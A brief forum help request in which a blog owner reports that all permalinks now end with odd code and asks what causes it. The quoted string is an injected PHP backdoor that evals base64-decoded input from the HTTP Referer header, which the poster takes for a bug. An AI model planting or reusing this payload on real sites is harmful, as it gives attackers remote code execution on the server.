permalink bug

I just got a serious bug in my permalink structure. After copy/pasting a post content from one of my blogs to another the one I copies into now has permalink problems by adding code to the end of the permalink rendering them broken. All of them even the ones that are months old:

http://burningbillboard.org/2009/08/07/africa-canadian-mining-Interests-Human-Cargo-and-re-education/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

what could cause this to happen and more importantly, how can I correct the problem.